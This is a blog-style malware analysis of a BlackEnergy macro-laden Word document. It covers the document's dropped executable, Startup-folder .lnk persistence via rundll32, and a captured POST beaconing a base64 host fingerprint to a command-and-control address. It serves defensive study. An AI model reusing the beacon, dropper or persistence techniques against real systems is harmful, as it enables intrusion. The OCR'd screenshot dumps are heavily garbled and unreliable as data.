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So today I wanted to do a blog post on Black Energy. The sample I will be working with was sourced from hybrid analysis
here: https://www.hybrid-
analysis.com/sample/39d04828ab0bba42a0e4cdd53felc04e4eef6d7b26d0008bd0d88b06cc316a81?environmentId=4. This

particular piece of malware was used to target the networks used to control power grids and has been associated to the

Sandworm Team, who used it to also target organizations in the Ukraine. According to Mitre the Sandworm Team is a
Russian cyber espionage group that has operated since approximately 2009. The group likely consists of Russian pro-
hacktivists. Sandworm Team targets mainly Ukrainian entities associated with energy, industrial control systems, SCADA,
government, and media. Sandworm Team has been linked to the Ukrainian energy sector attack in late 2015. So now that we

have a little background lets start our analysis.

When you initially open up the document you are greeted with this.
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I don’t speak Russian but, I'm pretty sure this is telling the user to view this document you need to enable the content. So
lets do it and see what we can get. I’m going to use my usual setup of RegShot/Procmon and Process Hacker with my
Windows VM pointing to my Remnux VM where I will have fakedns, inestsim and Wireshark running. So here is what

RegShot is showing me.
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Files adder

sers\REM\AppData\Local\Microsoft\Credent ials\BODE@3FAT7EGAF1AGEC1289B2E0BCE3
sers\REM\AppData\Lacal\MicrosoftInternet Explmu\nemvuyun;u\nunurys-m {BA75F5EQ-18F5-11E9-BIOC DﬂMZQTABSAQ).Hat
sers\REM\AppData\LocaliMicrosoft\Internet ExploreriRecovery\Active\(BA7SF5E2-16F5-11E9-B99C-008C297AB5AS) . da
sers\REN\AWDa:a\Lnca\\Hlcfosoﬁ\wlndews\caches\{JDAHDSA -20CC-432F-A115-DFE92379E91F}. 3, db
sers\REM\AppData\Local\Microsoft\Windows\History\Low\History. TES\container. dat
sers\REM\AppData\Local\Microsoft\Windows\INetCache\Content . Word\~WRF{52330826-77EF-4532-BC68-01E6B3IBFIALY. tmp
sers\RE\AppDatatLoca \icrosor tyWindows\INetCache\Cantent. Wor d\~RS {SFESBFEA-0807-435C-BIES-CEB302713FOE) . tup
sers\REM\AppDatal\L THetCache\Cont -d\~WRS {CCEACIAB-2FDE-4E1A-BBOB-EBC23366BACT }. tmp

22 \REH\AppData\L s\INetCache\Low\MSIN DAT
sers\REM\AppData\Local\Microsoft\Windows\INetCache\Low\SmartScreenCache. dat
sers\REM\AppData\Local\Microsoft\Windows\WebCache\Ve10005¢. og
sers\REN\AppData\Lncal\H1crusuft\mndews\vtehcache\\mlﬂeﬁl‘lug

sers\REM\AppData\Local\Microsoft\Windows\WebCache\Ve100052.
sers\REM\AppData\Local\Microsoft\Windows\WebCache\VB100053. lng

3

sers\REM\AppData\Local\Packages\MLcrosoft, Windows, Cortans, Localstate\Constraint -90ee-ARIBACbENNISIND. 0 ,\!,tgn,q termediate, 1xr
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sers\REM\AppDataiLocaly craseft Cortana, ocalState\CanstraintIndex\App: ~30ge-0n{B8CbOLN35) WAbpS . F L
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5ers\REM\ApDData\Local\Packages A TOANL 1 iADYE, COILADA. SVRNINALKYRIY\Loca State\DevicesearchCacne AppCachel 19205145020 4933,

sers\REM\AppData’\Localy) ndows_te_ac_B01\AC\ TNetCache\MSINGSTZ. DAT

sers\REM\AppData\Local\Tenp\~DFBBE629433CCFBEA. THP
sers\REM\AppData’\Local\Temp\~DFACFDCBI13713EEFS. THP

sers\REM\AppData’\Local\Temp\~DFF534011E53C068CA. THP

sers\REM\AppData’\Local\FONTCACHE . DAT

5875 \REM), t\Protect 79135973-1000431722265-0165-48)
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indows\PrefetchtIEXPLORE . EXE-1BBI4AFE. pf
/indows\Prefetch\IEXPLORE  EXE-F6A52CBB. pf
jindows\Prefetch\PING. EXE-6B29CACD. pf
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rogrambData\MicrosoftiWindows' ory’ -Machine.srd-shm
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sers\ALL Users\Hicrosof t\OFFICE\DATAVopa12. dat

sers\ALL Users\Hicrosoftini tory-Maching, srd=shn

sers\ALL Users\VMware\VMware (AF\pme\dnLa\ﬂutpul\tmp\;tdﬂul

sers\REM\AppData\Locali\Microsoft\Windows\UsrClass. dat.L0G2

sers\REM\AppData\Local\Microsoft\Windows\WebCache\V@1. chk

sers\REM\AppData\Local\Microsoft\Windows\WebCache\V@1. log

5 rs\REM\AppDatatLocal\Microsoft\Windows\WebCache\Ve1tnp. log
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C:\Users\REM\AnoData\Roamina\Adobe\Flash Plaver\NativeCache\NativeCache.directory

After taking a quick look it looks like we have a .Ink file being dropped into the Startup folder which is a pretty common
persistence technique used by malware. Inside the .Ink file the target is: %windir%\System32\rundll32.exe
“C:\Users\IEUser\AppData\Loca\FONTCACHE.DAT” #1. We also have multiple other processes being kicked off by the

word document, one of which is vba_macro.exe that runs and deletes itself. Here is the process listing from Process Hacker.

r[D Admin — m} X
Hacker View Tools Users Help
‘?9 Refresh 47 Options | #8 Find handles or DLLs e System information ‘ (] IE b4 Search Processes (Ctrl+K) yel
Processes  Services MNetwork Disk
Name PID ASLR  Integrity CPU  I/Ototal.. Privateb.. Username Description
v [ Systern Idle Process 0 13.36 52 kB NT AUTHORITY\SYSTEM
v [&] System 4 System 236 222kB/s 156 kB NT AUTHORITV\SYSTEM NT Kernel & System
[0 smss.exe 520 ASLR  Systern 388 kB NT AUTHORITWSYSTEM Windows Session Manager
[55] Memory Compression 1472 Systern 932 kB NT AUTHORITWSYSTEM
[ Interrupts 1.53 0 Interrupts and DPCs
(7] csrss.exe 628 ASLR  System 1.42MB  NT AUTHORITY\SYSTEM Client Server Runtime Process
~ 55| wininit.exe 696 ASLR  System 117 MB  NT AUTHORITY\SYSTEM Windows Start-Up Application
> [0 services.exe 800 ASLR System 0.02 469 MB  NT AUTHORITY\SYSTEM Services and Controller app
[15] Isass.exe 808 ASLR  System 027 1.24kB/s 6.08 MB  NT AUTHORITY\SYSTEM Local Security Authority Proce...
(55 fontdrvhost.exe 924 ASLR Low 1.5TMB  Font Driver Host\UMFD-0 Usermede Font Driver Host
(0] esrss.exe 704 ASLR  Systern 057  1.08 kBfs 174 MBE  NT AUTHORITY\SYSTEM Client Server Runtime Process
v = winlogon.exe 736 ASLR  Systern 23MB NT AUTHORITW\SYSTEM Windows Logon Application
[ fontdrvhost.exe 916 ASLR Low 6.73 ME  Font Driver Host\UMFD-1 Usermede Font Driver Host
[ dwm.exe 536 ASLR  System 1.52 267.69 MB  Window Manager\DWM-1 Desktop Window Manager
“ 1 explorer.exe 4352 ASLR  Medium 276 564 B/s 4568 MB DESKTOP-2C3IQHO\REM Windows Explerer
m vmtoolsd.exe 6382 ASLR  Medium 0.11 1.04 kBfs  31.09MB DESKTOP-2C3IQHO\REM Vhware Tools Core Service
TzFM.exe 4392 Medium 551 MB DESKTOP-2C3IQHON\REM 7-Zip File Manager
ProcessHacker.exe 6676 ASLR  High 1.1 17.34 MB  DESKTOP-2C3IQHO\REM Process Hacker
. procdot.exe 5448 Medium 0.04 152 GB DESKTOP-2C3IQHO\REM ProcDOT - Visual Malware An...
ﬁ idafd.exe 7160 ASLR  Medium 0.30 68.87 MB  DESKTOP-2C3IQHO\REM The Interactive Disassembler
[, WINWORD.EXE 6188 ASLR  Medium 218 344 MB DESKTOPR-2C3IQHONREM Microsoft Office Weord
=) splwowbd.exe 3840 ASLR  Medium 5.01 MB  DESKTOP-2C3IQHOVREM Print driver host for applicati
|_] rundli32.exe 6620 ASLR  Medium 423 MB  DESKTOR-2C3IQGHOVREM Windows host process (Rundll...
~ BN cmd.exe 1136 ASLR Medium 321 MB DESKTOP-2C3IQHONREM Windows Command Processor
B conhost.exe 3092 ASLR Medium 516 MB DESKTOP-2C3IQHONREM Consecle Window Host
(| PING.EXE 2772 ASLR Medium 1.03 ME DESKTOR-2C3IQHO\REM TCP/IP Ping Cornmand

After looking at Wireshark we also have a network connection going to
5[.]1149[.]254[.]1114//Microsoft/Update/KC074913[.]php and sending back some base64 to the server.
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Wireshark - Follow TCP Stream (tcp.stream eq 3) - wireshark_pcap_eth0_20190118101139_bY2QHy

POST //Microsoft/Update/KC074913.php HTTP/1.1

lAccept: text/html, application/xhtml+xml, image/jxr, */*

Content-Type: application/x-www-form-urlencoded

IAccept -Language: en-US

User -Agent: Mozilla/5.0@ (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
lAccept-Encoding: gzip, deflate

Host: 5.149.254.114

Content-Length: 137

Connection: Keep-Alive

body=Y19pZD1NUOVEROVXSU4XMF8zM]jBFMTBENEY5MjNDRUM4QjFBMTFFNEEXREIS0TUW
RCZiX2d1bj@zMDEWMThzdGImY192ZXI9Mi4z Im9zX3YOIMTcxMzQmb3NFfdHIWZTOX
HTTP/1.1 200 OK

Content-Length: 258

Server: INetSim HTTP Server

Content-Type: text/html

Connection: Close

Date: Fri, 18 Jan 2019 15:12:07 GMT

m

<html>

<head>
<title>INetSim default HTML page</title>

</head>

<body>
<p></p>
<p align="center">This 1s the default HTML page for INetSim HTTP server fake mode.</p>
<p align="center">This file is an HTML document.</p>

e

Packet 34. 1 client pkt(s), 2 server pkt(s), 1 turn. Click to select.

stream 3 |/

Find: | || Find Next|

Show data as ASCII z

|Entire conversation (906 bytes) 2

| Help | Hide this stream | | Print | |Save as... |Close|

BN [f=remnux... [d*eth0  [dWiresha... [Wiresha... b (P -]

The base64 wil decode to this:
b_id=MSEDGEWIN10_320E10D4F923CEC8B1A11E4A1DB9950D&b_gen=301018stb&b_ver=2.3&o0s_v=17134&os_type=1
Which is the malware fingerprinting the host OS versions.

I also want to cover a quick way for you to dump vba_macro.exe before it runs and deletes itself. So on the Word document
click alt+F11 or on Mac option+F11, this will bring up the Visual Basic window showing the macros. At the very beginning

you see array after array of numbers, which appears to possibly be machine code.
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==«

- % Normal Private a Variant
- % Project (B
+ Microsoff Private Sub Init0()
 ThisC afly = A ay (77, 90, 144, 0, O 4, 0, 0, 255, 255, 0, 0O, 184, 0, O, o, 0, 64, 0, 0, 0, 0, 0, 0, 0, O, O,
o = Referenc a2 = ay (136, 180, a 19 204, 223, 49, 99, 204, 223, 4 192, S8, 99, 207, 223, 49, 99, 163,
- #Templatef o, 0, 0, 5 49, 0, 0, €4, 1, o, 0, 0, 64, 0, 0, 16,
0, 0 28, 0 0,
11 3z, 0
. 0, 0
1, 0, 0
a, o, 0,
0, 0,
a, o, .
o, a, o, ,
ray (0, a, 0, .
Rrray (0, a, o, .
a(l4) = Array(0, 0, o, 0o, i
afls) = ray(0, 0, o, 0, o,
0, 0, a, o, .
< > a, o, .
= 0, a, o, 0,
Properties -~ % | o o :
[ ThisD: Docun ~ | o, 0,
Alphabetic o, 0,
(NameThisDi ~ o 4
AutoFcFalse . ¢
a(25) ay (0, . L
Rrray(0, 0, 0. -
0, 0,
o, 0,
o, , 0, 0, 0, G, 0, O, O, o, 0, 0, 0, 0, 0, o, 0, 0,
o, 0, 0, 0,0, 0,0, 0, 0, 0, 0,0 0,0 0, o, 0, 0,
A 0, 0, 0, B, 0, 0, 0, O, 0, 0, 0, 9, 0, 0, a, o, 0,
A 0, 0, 0, 0, 0, 0, 0, 0, O, 0, 0, 0, 0, O, 0, 0, 0, 0
a(35) = Array(0, 0, 0, 0, 0, 0, 0 0, 0, 0, 0, 0, a, 0, 0, |
a(36) = Array(0, 0, , 0, 0, 0, 0, O, O, 0, o, 0, 0, 0, o, 0, 0,

Locals

FormalFaise (| <Ready>
FormatFaise ([ Expression

[Vake
GramnFalse

GridOri3

HypheiTrue
Hyphei1s o

Type

If you scroll down to the bottom you will see the meat of what’s happening. It is looping over the arrays and writing it to a

file called vba_macro. So we will put a breakpoint right after the loop ends and then run the macros to dump the file, which

we will then move to the desktop.

) Microsoft Visual Basic - Be [break]

Ele Edit View lnsert Fgrmat Debug Run Tools Add-ins Window Help
E-d s oahn » N FY S @ ool

Project - Pr
2 X 218e - ThisDocument (Code)

03 35| ceneran v | MacroExpi

% Normal
- % Project (B
+Microsofl

0 ThisC
Referenc

- uTemplatep

« >
Properties -~ X
I ThisD: Docun ~ |
Alphabetic
(Name ThisD: »
AutoFcFalse

I Fal -

& "\uba
As fnum

ACTO.eXe"”

Defaul
DisabkFalse
DonotiTrue Next 1
EmbedTrue < Hlc1ose #Enum
EmbedTrue Dim -
EmbedFalse

= Shell{fname, 1)

Encryp
EnforciFalse
Fartas

Formats - we ==«

Locals

FormatFalse || Project.ThisDocument, Macroexpl
FormatFalse Expression

GrammFalse i
(GridDiss faum
(GridDiso fname
(GridoriTrue

[Vake

1
"C:UsersVEUserAppDatalLocaliTempivba_macro.exe™
665

i 128

(Grid0ri3 a o
Grid0ri2.25 rss Empty
Gridsp 1
Gridsp1
HypheiTrue
Hypheils

Type
This Dacument/Dacument

Byte
VarianUEmgty
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So as I started analyzing vba_macro I loaded it into IDA to get a look at the imports and strings, I noticed most of the
imports had no xrefs which puzzled me for a while, I think a lot of the imports are in there to send the analyst down rabbit
holes. So I loaded vba_macro up in x32dbg and set breakpoints on some Native API functions like NtWriteFile,
NtOpenProcess, etc... I did this because I remember reading that malware will sometimes use these lower level API’s to

avoid detection. I then started running it to see what I could find.

So here is a call to NtWriteFile where it looks like it is creating the .Ink file.

EAX 0019F8A8 L"c:\\Users\\IEUser\\AppData'\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\{531346A2-CC55-4A62-94BD-560F58207B1F}.1
EBX 00000000
ECX 75EC98BO kernelbase.75EC98B0

EDX  005D0000
EBP 0019FEEQ

ESP 0019F89C &L"c:\\Users\\IEUser\\AppData\\Roami ng\\mcrosoft\\mndows\\start Menu\\Programs\\startup\\{531346A2-cCc55-4A62-94BD-560F58207B1F}.
ESI 0019FCB8 "c:\\Users\\IEUser\\AppData\\Local\\FONTCACHE.DAT"
EDI 0040319D <vba_macro - copy.EntryPoint>

And here is a call to ShellExecuteW opening the .Ink file.

¥ vba_macro - Copy.exe - PID: 1DCB - Thread: Main Thread 1474 - x32dbg - =] *®
Fle View Debug Trace Puging Favourtes Options Help Oct 292018
DE Ut tal e#fn 2L BE
By @oaph [l [Notss @ Breskooints MM memoryMop () CllStack  SSEH o Soipt @ Symbols <> Sowce ) Refeences W Theesds ) Snowman o Hendles %7 Trece
. 1500 B5C0 Test eax, eax aaxil ,
78 61 J&_sa1des show FPu =
push sbx “open”
£ Sl e =
push emn . C ol | EOC  62E3MA  sechost.762€394A
€745 FO 40435346 mov dward 55 0 @ QRO
€745 F4 SF43GFEE mov dword ptr st g EBP  OO19FEEQ
€745 F8 86896700 mov_dward ss EsP 00197888 , .
F15 33405400 Bl vorc per > f {eBcredoatatens:] ESI  0019FCBS C:\\Users\\ TEUSEr) \AppOaTa\\Local\\FONTCACHE. DAT
A 6F push 6F EDI 00403190  <vba_macro - copy.ERTryPoinT>
pop, eax eaxL
A 70 push EIP  DOSA19S7
6:8945 €0 Pou word per ss:febp-201, ax
8 ax 23Xl | EFLAGS  DOODO246
A 65 push 1 PE 1
§ 8945 E2 mov :mra per ss:febp-16],ax v |0 S0 oo
A 6E push 6E * cFo TFO IF1
6:8345 E4 mov word ptr ss:Bebp-1ch,ax
] sx:L | LASTError 00000000 (ERROR_SUCCESS)
3 Laststatus COOD0OCD (STATUS_INVALID PARAMETER)
6:8945 E6
30 eaxiL | G5 0028 Fs 0053
3 ES 0026 D5 0028
LELS G cs 0023 55 0028
0SS cararFer cenr | DO 00000000
045 €0 . DAL 00000000
cax-L | DRZ 0DODODOO
= DR3 0000000
F15 AC405A00 \n“ mﬂrd ptr ﬂs [<&shellExecuten= ] DRE 00000000
F15 DO4OSAQ0 call dword ptr os:[<éCoUninitialize> ] R7 00000000
- mp 5A1972
DES DSFOFFFEF 18 I per ssfebp-226]
push eax eax:L
FFLS 58405400 SR dvord pre s :LADeletariTen ]
3950 FC cmp_aword ptr a8,
ie 541960
FETS FC push dhord pr s :febn
FE15 88405400 call dword p oM rees 1
E8 U6FCFFFF call sa1s6s
push ebx
FFLS 98405400 ealll dword ptr ds:[<&ExitProcesss ]
o intd
=3 intd
c int.
c int3 L
é:E: :g‘fhesgu“v Default (stdcal) * s |s Dumxw
. 53 push ebx P tareco Lo
: g s SEETDUIESD LI\ apsacev a1 oS ou A SR\ Foge S\ SEAFEUBA 534G CE554A62- 4056055207351, T
5 " esp+c] 00000000
. & push ot 2016 | [esp+10] 00000000
. FF75 0C push dword ptr ss:lebp-cl)
. 8845 08 mov eax,dword ptr ss: [eaa 1 -
dword ptr [005A0AC <hshellExecutews]=<shel132. shellExecutaws
00541957
WEoumpl  @Oumpz  EWOump3 @ Dump4  @HOumps @ werchi  Ixllocals P stuat 0 | L'open” °
R [ Asexx L"C:\\Users\\TEUser\\Appoata\\Roami ng\ \uicrosof t\\windows\\Start Menu\\progra
T 7 5 0 00| 0.p.e.n.. .z >
43 53 46|5F MCSF
2] pe-
I
& o
1
C 3% 0 [&4 -w 3 AK2I, B4 > |
Defauit
‘Dump: 0018FEDD -> 01SFEDO (00000001 bytes) ‘Time Wasted Debugging: 0:00:22:29

So to sum things up a quick down and dirty of my interpretation of what this malware is doing:

1. Word document macros run which drop vba_macro to disk.
2. vba_macro creates the .Ink and fontcache.dat and runs .Ink file which in turn runs fontcache.dat with rundll32 which
provides the network connectivity to the above address we talked about.

3. vba_macro also kicks off a cmd.exe which is continually running PING.exe and attrib.exe.
So thank you for reading and hope this has helped someone to learn something new and until next time...
Happy hunting,
Marcus
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